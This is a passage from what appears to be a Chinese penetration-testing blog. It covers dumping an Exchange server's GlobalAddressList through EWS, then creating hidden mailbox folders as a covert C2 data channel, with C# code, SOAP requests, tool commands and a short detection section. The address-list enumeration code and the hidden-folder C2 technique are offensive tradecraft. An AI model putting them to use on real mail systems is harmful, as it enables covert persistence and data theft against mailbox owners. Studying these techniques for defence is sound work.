<h3 id="1powershell">1.Powershell</h3>
<p>需要明文口令</p>
<p>https://github.com/dafthack/MailSniper</p>
<p>需要PowerShell version 3.0</p>
<p>支持FindPeople操作和ResolveName操作</p>
<p><strong>注:</strong></p>
<p>FindPeople操作通过owa实现</p>
<p>ResolveName操作通过ews实现</p>
<h3 id="2python">2.Python</h3>
<p>需要明文口令或NTLM hash</p>
<h4 id="1findpeople操作">(1)FindPeople操作</h4>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/findpeople-operation?redirectedfrom=MSDN</p>
<p>只能在Exchange Server 2013或更高版本使用</p>
<p>XML格式示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013_SP1" />
</soap:Header>
<soap:Body>
<m:FindPeople>
<m:IndexedPageItemView BasePoint="Beginning" MaxEntriesReturned="1000" Offset="0"/>
<m:ParentFolderId>
<t:DistinguishedFolderId Id="directory"/>
</m:ParentFolderId>
<m:QueryString>test</m:QueryString>
</m:FindPeople>
</soap:Body>
</soap:Envelope>
</code></pre></div></div>
<p>搜索字符串<code class="language-plaintext highlighter-rouge">test</code>,这里指定最大查询结果数量1000</p>
<p>为了能够覆盖所有结果,搜索字符串需要遍历26个字母a-z,获得返回结果后进行去重处理</p>
<p>完整的代码可参考我在<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py">ewsManage</a>新增的findallpeople功能</p>
<h4 id="2resolvename操作">(2)ResolveName操作</h4>
<p>XML格式示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013_SP1" />
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="false" SearchScope="ContactsActiveDirectory">
<m:UnresolvedEntry>test</m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>
</code></pre></div></div>
<p>搜索字符串<code class="language-plaintext highlighter-rouge">test</code>,这里返回的查询结果最多为100</p>
<p>为了能够覆盖所有结果,搜索条件为任意两个字母的组合,例如aa、ab、ac….zz,总共搜索26*26=676次,一般情况下能够覆盖所有结果,获得返回结果后进行去重处理</p>
<p>这里需要注意,如果某个搜索条件获得的返回结果为100,代表这个搜索条件的结果可能不完整(实际大于100,只获得了100),需要再次进行划分,进行第三级的遍历。返回结果可通过读取返回内容的<code class="language-plaintext highlighter-rouge">TotalItemsInView</code>项获得</p>
<p>完整的代码可参考我在<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py">ewsManage</a>新增的resolveallname功能</p>
<h2 id="0x04-禁用globaladdresslist的方法">0x04 禁用GlobalAddressList的方法</h2>
<hr />
<p>可以选择指定用户是否在GlobalAddressList中隐藏</p>
<h3 id="1通过exchange-admin-centereac">1.通过Exchange admin center(EAC)</h3>
<p>使用Exchange管理员登录Exchange Control Panel(ECP)</p>
<p>选择指定用户,选择<code class="language-plaintext highlighter-rouge">general</code>,选中<code class="language-plaintext highlighter-rouge">Hide from address lists</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/2-1.png" alt="Alt text" /></p>
<h3 id="2通过exchange-management-shell">2.通过Exchange Management Shell</h3>
<p>隐藏指定用户的命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-MailContact -HiddenFromAddressListsEnabled $true -Identity test1
</code></pre></div></div>
<p>隐藏所有用户的命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-MailContact | Set-MailContact -HiddenFromAddressListsEnabled $true
</code></pre></div></div>
<h2 id="0x05-小结">0x05 小结</h2>
<hr />
<p>本文介绍了不同条件下获得Exchange GlobalAddressList的常用方法,编写程序分别实现通过ews的FindPeople操作和ResolveName操作导出GlobalAddressList,在最后介绍了禁用GlobalAddressList的方法。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言渗透基础——Exchange用户邮箱中的隐藏文件夹2020-07-01T00:00:00+00:002020-07-01T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80%E2%80%94%E2%80%94Exchange%E7%94%A8%E6%88%B7%E9%82%AE%E7%AE%B1%E4%B8%AD%E7%9A%84%E9%9A%90%E8%97%8F%E6%96%87%E4%BB%B6%E5%A4%B9<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>对于Exchange用户邮箱,可通过设置文件夹属性创建隐藏文件夹,用户使用owa网页登录和使用Outlook均无法查看隐藏文件夹中的内容。</p>
<p>站在渗透测试的角度,我们可以利用隐藏文件夹存储重要的信息,作为C2通信的数据通道。</p>
<p>本文将要介绍隐藏文件夹的使用方法,通过程序实现创建、访问和删除隐藏文件夹,结合利用思路给出防御建议。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>隐藏文件夹的创建原理</li>
<li>隐藏文件夹的常用操作</li>
<li>使用EWS Managed API的实现代码</li>
<li>使用EWS SOAP XML message的实现代码</li>
<li>开源代码</li>
<li>防御检测</li>
</ul>
<h2 id="0x02-隐藏文件夹的创建原理">0x02 隐藏文件夹的创建原理</h2>
<hr />
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-work-with-hidden-folders-by-using-ews-in-exchange</p>
<p>对于Exchange用户邮箱,将文件夹的扩展属性<code class="language-plaintext highlighter-rouge">PidTagAttributeHidden</code>(0x10F4000B)设置为true时,该文件夹对于用户不可见</p>
<p>默认配置下,Exchange用户邮箱包括多个常用文件夹,例如收件箱、发件箱和草稿等,详细列表可参考:https://docs.microsoft.com/en-us/dotnet/api/microsoft.exchange.webservices.data.wellknownfoldername?view=exchange-ews-api#Microsoft_Exchange_WebServices_Data_WellKnownFolderName_MsgFolderRoot</p>
<p>我们可以在根目录或者任一文件夹(例如收件箱)下创建一个文件夹,将其扩展属性<code class="language-plaintext highlighter-rouge">PidTagAttributeHidden</code>(0x10F4000B)设置为true,那么这个文件夹就是隐藏文件夹,对于用户不可见。同时,隐藏文件夹下的所有邮件对用户也是不可见的。更进一步,隐藏文件夹下的邮件内容和附件内容对用户同样不可见。但是我们只要知道了隐藏文件夹的Id,就能够通过程序进行数据交互。</p>
<p>通过程序进行数据交互时,需要考虑以下操作:
(这里以在Inbox下创建隐藏文件夹为例)</p>
<ul>
<li>在Inbox下创建文件夹</li>
<li>查看Inbox下的文件夹列表</li>
<li>在Inbox下创建隐藏文件夹</li>
<li>查看Inbox下的隐藏文件夹列表</li>
<li>查看指定文件夹(无论是否具有隐藏属性)下的邮件列表</li>
<li>在指定文件夹(无论是否具有隐藏属性)下创建邮件</li>
<li>删除指定文件夹</li>
<li>为指定邮件添加附件</li>
</ul>
<h2 id="0x03-使用ews-managed-api的实现代码">0x03 使用EWS Managed API的实现代码</h2>
<hr />
<h3 id="1在inbox下创建文件夹">1.在Inbox下创建文件夹</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void CreateFolderofInbox(ExchangeService service)
{
Folder folder = new Folder(service);
folder.DisplayName = "Custom Folder";
folder.Save(WellKnownFolderName.Inbox);
Console.WriteLine("[*] FolderId:" + folder.Id);
}
</code></pre></div></div>
<h3 id="2查看inbox下的文件夹列表">2.查看Inbox下的文件夹列表</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void ListFolderofInbox(ExchangeService service)
{
FindFoldersResults findResults = null;
FolderView view = new FolderView(int.MaxValue) { Traversal = FolderTraversal.Deep };
findResults = service.FindFolders(WellKnownFolderName.Inbox, view);
foreach (Folder folder in findResults.Folders)
{
Console.WriteLine("\r\n");
Console.WriteLine("[*]DisplayName:{0}", folder.DisplayName);
Console.WriteLine("[*]Id:{0}", folder.Id);
Console.WriteLine("[*]TotalCount:{0}", folder.TotalCount);
}
}
</code></pre></div></div>
<h3 id="3在inbox下创建隐藏文件夹">3.在Inbox下创建隐藏文件夹</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void CreateHiddenFolderofInbox(ExchangeService service)
{
Folder folder = new Folder(service);
folder.DisplayName = "Custom Hidden Folder";
folder.Save(WellKnownFolderName.Inbox);
Console.WriteLine("[*] Hidden FolderId:" + folder.Id);
// Create an extended property definition for the PidTagAttributeHidden property.
ExtendedPropertyDefinition isHiddenProp = new ExtendedPropertyDefinition(0x10f4, MapiPropertyType.Boolean);
PropertySet propSet = new PropertySet(isHiddenProp);
// Bind to a folder and retrieve the PidTagAttributeHidden property.
Folder folderhidden = Folder.Bind(service, folder.Id, propSet);
// Set the PidTagAttributeHidden property to true.
folderhidden.SetExtendedProperty(isHiddenProp, true);
// Save the changes.
folderhidden.Update();
}
</code></pre></div></div>
<h3 id="4查看inbox下的隐藏文件夹列表">4.查看Inbox下的隐藏文件夹列表</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void ListHiddenFolderofInbox(ExchangeService service)
{
// Create an extended property definition for the PidTagAttributeHidden property.
ExtendedPropertyDefinition isHiddenProp = new ExtendedPropertyDefinition(0x10f4, MapiPropertyType.Boolean);
// Create a folder view to retrieve up to 100 folders and
// retrieve only the PidTagAttributeHidden and the display name.
FolderView folderView = new FolderView(100);
folderView.PropertySet = new PropertySet(isHiddenProp, FolderSchema.DisplayName);
// Indicate a Traversal value of Deep, so that all subfolders are retrieved.
folderView.Traversal = FolderTraversal.Deep;
// Find all hidden folders under the MsgFolderRoot.
// This call results in a FindFolder call to EWS.
FindFoldersResults findFolder = service.FindFolders(WellKnownFolderName.Inbox,
new SearchFilter.IsEqualTo(isHiddenProp, true), folderView);
// Display the folder ID and display name of each hidden folder.
foreach (Folder folder in findFolder)
{
Console.WriteLine("[*] DisplayName: {0}", folder.DisplayName);
Console.WriteLine("[*] FolderId: {0}", folder.Id);
Console.WriteLine("\r\n");
}
}
</code></pre></div></div>
<h3 id="5查看指定文件夹无论是否具有隐藏属性下的邮件列表">5.查看指定文件夹(无论是否具有隐藏属性)下的邮件列表</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void ListMailofFolder(FolderId folderId, ExchangeService service)
{
IdString = folderId;
Folder Folders = Folder.Bind(service, IdString);
FindItemsResults<Item> findResults = null;
ItemView view = new ItemView(int.MaxValue);
PropertySet itempropertyset = new PropertySet(BasePropertySet.FirstClassProperties);
itempropertyset.RequestedBodyType = BodyType.Text;
view.PropertySet = itempropertyset;
findResults = Folders.FindItems(view);
foreach (Item item in findResults.Items)
{
Console.WriteLine("\r\n");
if (item.Subject != null)
{
Console.WriteLine("[*]Subject:{0}", item.Subject);
}
else
{
Console.WriteLine("[*]Subject:<null>");
}
Console.WriteLine("[*]HasAttachments:{0}", item.HasAttachments);
if (item.HasAttachments)
{
EmailMessage message = EmailMessage.Bind(service, item.Id, new PropertySet(ItemSchema.Attachments));
foreach (Attachment attachment in message.Attachments)
{
FileAttachment fileAttachment = attachment as FileAttachment;
fileAttachment.Load();
Console.WriteLine(" - Attachments:{0}", fileAttachment.Name);
}
}
Console.WriteLine("[*]ItemId:{0}", item.Id);
Console.WriteLine("[*]DateTimeCreated:{0}", item.DateTimeCreated);
Console.WriteLine("[*]DateTimeReceived:{0}", item.DateTimeReceived);
Console.WriteLine("[*]DateTimeSent:{0}", item.DateTimeSent);
Console.WriteLine("[*]DisplayCc:{0}", item.DisplayCc);
Console.WriteLine("[*]DisplayTo:{0}", item.DisplayTo);
Console.WriteLine("[*]InReplyTo:{0}", item.InReplyTo);
Console.WriteLine("[*]Size:{0}", item.Size);
item.Load(itempropertyset);
if (item.Body.ToString().Length > 100)
{
item.Body = item.Body.ToString().Substring(0, 100);
Console.WriteLine("[*]MessageBody(too big,only output 100):{0}", item.Body);
}
else
{
Console.WriteLine("[*]MessageBody:{0}", item.Body);
}
}
}
</code></pre></div></div>
<h3 id="6在指定文件夹无论是否具有隐藏属性下创建邮件">6.在指定文件夹(无论是否具有隐藏属性)下创建邮件</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void CreateMail(FolderId folderId, ExchangeService service)
{
EmailMessage msg = new EmailMessage(service);
msg.Subject = "test mail";
msg.Save(folderId);
}
</code></pre></div></div>
<h3 id="7为指定邮件添加附件">7.为指定邮件添加附件</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static void AddFileAttachment(ItemId id, string fileName, ExchangeService service)
{
EmailMessage message = EmailMessage.Bind(service, id);
message.Attachments.AddFileAttachment(fileName);
message.Update(ConflictResolutionMode.AlwaysOverwrite);
Console.WriteLine("\r\n[+]AddAttachment success");
}
</code></pre></div></div>
<h3 id="8删除指定文件夹">8.删除指定文件夹</h3>
<p>EWS Managed API不支持直接删除,需要构造XML格式的SOAP包</p>
<h2 id="0x04-使用ews-soap-xml-message的实现代码">0x04 使用EWS SOAP XML message的实现代码</h2>
<hr />
<p>为了节省篇幅,只介绍<code class="language-plaintext highlighter-rouge"><soap:Body></code>中的内容</p>
<h3 id="1在inbox下创建文件夹-1">1.在Inbox下创建文件夹</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:CreateFolder>
<m:ParentFolderId>
<t:DistinguishedFolderId Id="inbox" />
</m:ParentFolderId>
<m:Folders>
<t:Folder>
<t:DisplayName>{name}</t:DisplayName>
</t:Folder>
</m:Folders>
</m:CreateFolder>
</code></pre></div></div>
<h3 id="2查看inbox下的文件夹列表-1">2.查看Inbox下的文件夹列表</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:FindFolder Traversal="Deep">
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:IndexedPageFolderView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:ParentFolderIds>
</m:FindFolder>
</code></pre></div></div>
<h3 id="3在inbox下创建隐藏文件夹-1">3.在Inbox下创建隐藏文件夹</h3>
<p>这里需要发送三个数据包,依次为创建文件夹,添加隐藏属性和更新隐藏属性</p>
<p>创建文件夹:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <m:CreateFolder>
<m:ParentFolderId>
<t:DistinguishedFolderId Id="inbox" />
</m:ParentFolderId>
<m:Folders>
<t:Folder>
<t:DisplayName>{name}</t:DisplayName>
</t:Folder>
</m:Folders>
</m:CreateFolder>
</code></pre></div></div>
<p>添加隐藏属性:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:GetFolder>
<m:FolderShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:ExtendedFieldURI PropertyTag="4340" PropertyType="Boolean" />
</t:AdditionalProperties>
</m:FolderShape>
<m:FolderIds>
<t:FolderId Id="{id}" ChangeKey="{key}" />
</m:FolderIds>
</m:GetFolder>
</code></pre></div></div>
<p>更新隐藏属性:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <m:UpdateFolder>
<m:FolderChanges>
<t:FolderChange>
<t:FolderId Id="{id}" ChangeKey="{key}" />
<t:Updates>
<t:SetFolderField>
<t:ExtendedFieldURI PropertyTag="4340" PropertyType="Boolean" />
<t:Folder>
<t:ExtendedProperty>
<t:ExtendedFieldURI PropertyTag="4340" PropertyType="Boolean" />
<t:Value>true</t:Value>
</t:ExtendedProperty>
</t:Folder>
</t:SetFolderField>
</t:Updates>
</t:FolderChange>
</m:FolderChanges>
</m:UpdateFolder>
</code></pre></div></div>
<h3 id="4查看inbox下的隐藏文件夹列表-1">4.查看Inbox下的隐藏文件夹列表</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <m:FindFolder Traversal="Deep">
<m:FolderShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:ExtendedFieldURI PropertyTag="4340" PropertyType="Boolean" />
<t:FieldURI FieldURI="folder:DisplayName" />
</t:AdditionalProperties>
</m:FolderShape>
<m:IndexedPageFolderView MaxEntriesReturned="100" Offset="0" BasePoint="Beginning" />
<m:Restriction>
<t:IsEqualTo>
<t:ExtendedFieldURI PropertyTag="4340" PropertyType="Boolean" />
<t:FieldURIOrConstant>
<t:Constant Value="true" />
</t:FieldURIOrConstant>
</t:IsEqualTo>
</m:Restriction>
<m:ParentFolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:ParentFolderIds>
</m:FindFolder>
</code></pre></div></div>
<h3 id="5查看指定文件夹无论是否具有隐藏属性下的邮件列表-1">5.查看指定文件夹(无论是否具有隐藏属性)下的邮件列表</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:FindItem Traversal="Shallow">
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:BodyType>Text</t:BodyType>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:FolderId Id="{id}" />
</m:ParentFolderIds>
</m:FindItem>
</code></pre></div></div>
<h3 id="6在指定文件夹无论是否具有隐藏属性下创建邮件-1">6.在指定文件夹(无论是否具有隐藏属性)下创建邮件</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:CreateItem MessageDisposition="SaveOnly">
<m:SavedItemFolderId>
<t:FolderId Id="{id}" />
</m:SavedItemFolderId>
<m:Items>
<t:Message>
<t:Subject>test mail</t:Subject>
</t:Message>
</m:Items>
</m:CreateItem>
</code></pre></div></div>
<h3 id="7为指定邮件添加附件-1">7.为指定邮件添加附件</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:CreateAttachment>
<m:ParentItemId Id="{id}" ChangeKey="{key}"/>
<m:Attachments>
<t:FileAttachment>
<t:Name>{name}</t:Name>
<t:Content>{data}</t:Content>
</t:FileAttachment>
</m:Attachments>
</m:CreateAttachment>
</code></pre></div></div>
<h3 id="8删除指定文件夹-1">8.删除指定文件夹</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><m:DeleteItem DeleteType="HardDelete" xmlns="https://schemas.microsoft.com/exchange/services/2006/messages">
<m:ItemIds>
<t:ItemId Id="{id}"/>
</m:ItemIds>
</m:DeleteItem>
</code></pre></div></div>
<h2 id="0x05-开源代码">0x05 开源代码</h2>
<hr />
<h3 id="1使用ews-managed-api">1.使用EWS Managed API</h3>
<p>https://github.com/3gstudent/ewsManage</p>
<p>使用示例</p>
<p>(1)在Inbox下创建隐藏文件夹test1</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode CreateHiddenFolderofInbox -Name test1
</code></pre></div></div>
<p>获得文件夹对应的FolderId:<code class="language-plaintext highlighter-rouge">AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA=</code></p>
<p>(2)查看Inbox下的隐藏文件夹</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode ListHiddenFolder -Folder Inbox
</code></pre></div></div>
<p>(3)在隐藏文件夹test1下创建测试邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode CreateTestMail -Id AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA=
</code></pre></div></div>
<p>(4)查看隐藏文件夹test1下的所有邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode ListMailofFolder -Id AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA=
</code></pre></div></div>
<p>获得测试邮件对应的ItemId:<code class="language-plaintext highlighter-rouge">AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgBGAAAAAABEBlGH6URWQp6Nlg9RxLmyBwA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA1ZCfAg9a0Sq75no2JOzsqAAAAA1FVAAA=</code></p>
<p>(5)向测试邮件添加附件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode AddAttachment -Id AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA= -AttachmentFile c:\test\1.exe
</code></pre></div></div>
<p>(6)读取测试邮件的内容</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode ViewMail -Id AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA=
</code></pre></div></div>
<p>(7)保存测试邮件中的附件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode SaveAttachment -Id AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA=
</code></pre></div></div>
<p>(8)删除测试邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode DeleteMail -Id AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1FUAAA=
</code></pre></div></div>
<h3 id="2使用ews-soap-xml-message">2.使用EWS SOAP XML message</h3>
<p>https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py</p>
<p>(1)在Inbox下创建隐藏文件夹test2</p>
<p>创建文件夹:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 createfolderofinbox
</code></pre></div></div>
<p>获得Id:<code class="language-plaintext highlighter-rouge">AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAuAAAAAABEBlGH6URWQp6Nlg9RxLmyAQA1ZCfAg9a0Sq75no2JOzsqAAAAA1U+AAA=,ChangeKey:AQAAABYAAAA1ZCfAg9a0Sq75no2JOzsqAAAAAGE/</code></p>
<p>添加隐藏属性:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 SetHiddenPropertyType
</code></pre></div></div>
<p>更新隐藏属性:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 UpdateHiddenPropertyType
</code></pre></div></div>
<p>(2)查看Inbox下的隐藏文件夹</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 listhiddenfolderofinbox
</code></pre></div></div>
<p>(3)在隐藏文件夹test1下创建测试邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 createtestmail
</code></pre></div></div>
<p>(4)查看隐藏文件夹test1下的所有邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 listmailoffolder
</code></pre></div></div>
<p>(5)向测试邮件添加附件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 createattachment
</code></pre></div></div>
<p>(6)读取测试邮件的内容</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getmail
</code></pre></div></div>
<p>(7)保存测试邮件中的附件</p>
<p>获得附件对应的Id:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getattachment
</code></pre></div></div>
<p>保存附件:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 saveattachment
</code></pre></div></div>
<p>(8)删除测试邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 deletemail
</code></pre></div></div>
<p>(9)删除测试邮件隐藏文件夹test1</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 deletefolder
</code></pre></div></div>
<h2 id="0x06-防御检测">0x06 防御检测</h2>
<hr />
<p>1.通过程序查看是否存在隐藏文件夹</p>
<p>例如:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u test1 -p test123! -ewsPath https://test.com/ews/Exchange.asmx -Mode ListHiddenFolder -Folder Inbox
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 listhiddenfolderofinbox
</code></pre></div></div>
<p>2.查看邮件用户上次登录时间</p>
<p>使用Exchange Server PowerShell:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-MailboxDatabase | Get-MailboxStatistics |fl DisplayName,LastLogonTime
</code></pre></div></div>
<p>3.查看ews访问日志</p>
<p>默认位置:<code class="language-plaintext highlighter-rouge">C:\inetpub\logs\LogFiles\W3SVC1</code>,搜索关键词<code class="language-plaintext highlighter-rouge">/EWS/Exchange.asmx</code></p>
<h2 id="0x07-小结">0x07 小结</h2>
<hr />
<p>本文介绍了Exchange用户邮箱隐藏文件夹的使用方法,分别介绍使用EWS Managed API和EWS SOAP XML message实现创建、访问和删除隐藏文件夹的方法,开源代码<a href="https://github.com/3gstudent/ewsManage">ewsManage</a>和<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py">ewsManage.py</a>,结合利用思路给出防御建议</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言